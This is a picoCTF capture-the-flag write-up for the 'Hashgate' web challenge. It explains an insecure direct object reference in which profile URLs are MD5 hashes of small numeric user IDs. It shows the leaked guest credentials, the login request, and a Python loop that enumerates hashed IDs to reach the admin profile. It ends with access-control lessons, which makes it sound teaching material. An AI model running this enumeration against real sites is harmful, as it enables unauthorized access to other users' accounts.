Hashgate
picoCTF Hashgate writeup exploiting an IDOR vulnerability where user IDs are hashed with MD5, allowing access to other users accounts by predicting hash values.
Contents
Hashgate
Challenge Summary
This picoCTF web challenge exposed a company portal with a standard login page and a hint that there were only about 20 employees in the organisation. The prompt also pointed out that the profile ID check was not using plain text, suggesting that some one-way function was involved.
Target:
http://crystal-peak.picoctf.net:57973/
The objective was to reach the admin’s profile and recover the flag.
Initial Recon
Opening the main page showed a login form. The HTML source contained a helpful comment that leaked valid guest credentials:
<!-- Email: guest@picoctf.org Password: guest -->
That meant the first useful step was to authenticate as the guest user and inspect what happened after login.
Login Request
The frontend submitted credentials as JSON to /login:
POST /login
Content-Type: application/json
{"email":"guest@picoctf.org","password":"guest"}
The server responded with a redirect:
HTTP/1.1 302 Found
Location: /profile/user/e93028bdc1aacdfb3687181f2031765d
So the profile route looked like:
/profile/user/<hashed_value>
Inspecting the Guest Profile
Requesting the redirected profile returned:
Access level: Guest (ID: 3000). Insufficient privileges to view classified data. Only top-tier users can access the flag.
This revealed an important detail:
- The guest account had numeric ID
3000 - The URL used a 32-character hexadecimal value
- That strongly suggested a hash, likely MD5
Verifying the Hash Function
To test whether the URL value was simply the hash of the numeric ID:
printf '3000' | md5sum
The result was:
e93028bdc1aacdfb3687181f2031765d
That exactly matched the value in the guest profile URL.
So the application was building profile paths like this:
/profile/user/md5(user_id)
This is not real authorization. It is only identifier obfuscation.
Vulnerability
The bug is an insecure direct object reference, or IDOR.
The application assumed that hashing the internal numeric ID would hide other users’ profiles. But if an attacker can infer:
- the hashing function
- the input format
- the likely ID range
then the attacker can compute other valid profile URLs directly.
Because the challenge stated there were only about 20 employees, brute-forcing nearby numeric IDs was trivial.
Exploitation Strategy
The guest account was ID 3000, so the most likely admin account would be in a nearby range. The plan was:
- Generate MD5 hashes for candidate IDs
- Request
/profile/user/<md5(id)> - Stop when a valid non-guest profile appeared
Example enumeration logic:
import hashlib
import urllib.request
import urllib.error
for i in range(2990, 3011):
h = hashlib.md5(str(i).encode()).hexdigest()
url = f"http://crystal-peak.picoctf.net:57973/profile/user/{h}"
try:
with urllib.request.urlopen(url) as r:
body = r.read().decode()
print(i, body)
except urllib.error.HTTPError as e:
print(i, "HTTP", e.code)
Successful Result
Enumeration showed that 3010 was the admin profile:
3010 Welcome, admin! Here is the flag: picoCTF{<redacted>}
To confirm the exact admin URL:
printf '3010' | md5sum
Output:
281642b3b16d4a7c98e9ccdf7ba4c6c2
So the admin profile endpoint was:
http://crystal-peak.picoctf.net:57973/profile/user/281642b3b16d4a7c98e9ccdf7ba4c6c2
Requesting that endpoint returned the flag.
Flag
picoCTF{<redacted>}
Why the Defense Failed
The application tried to protect profile access by hiding the raw numeric ID behind a hash. That fails for two reasons:
- Hashing is not authorization.
- The ID space was tiny and predictable.
Since the guest profile disclosed ID: 3000, an attacker immediately had a starting point. With only about 20 employees, testing nearby IDs was enough to recover the admin profile.
This is a common design mistake:
- Developers hide direct identifiers
- They assume hidden means protected
- Attackers enumerate the underlying values anyway
Security Lessons
- Never rely on hashed or encoded object IDs as an access control mechanism.
- Every request for a resource must enforce server-side authorization.
- If a user requests another user’s profile, the server must verify they are allowed to access it.
- Predictable identifier spaces make brute-force enumeration easy even when IDs are transformed.
Takeaway
This challenge was solved by recognizing that the profile path used md5(user_id) instead of a secure access-control check. Once the guest profile exposed ID 3000, the rest became a small enumeration problem. Testing nearby IDs revealed that 3010 belonged to the admin account, and its hashed value led directly to the flag.
Final admin URL:
/profile/user/281642b3b16d4a7c98e9ccdf7ba4c6c2
Final flag:
picoCTF{<redacted>}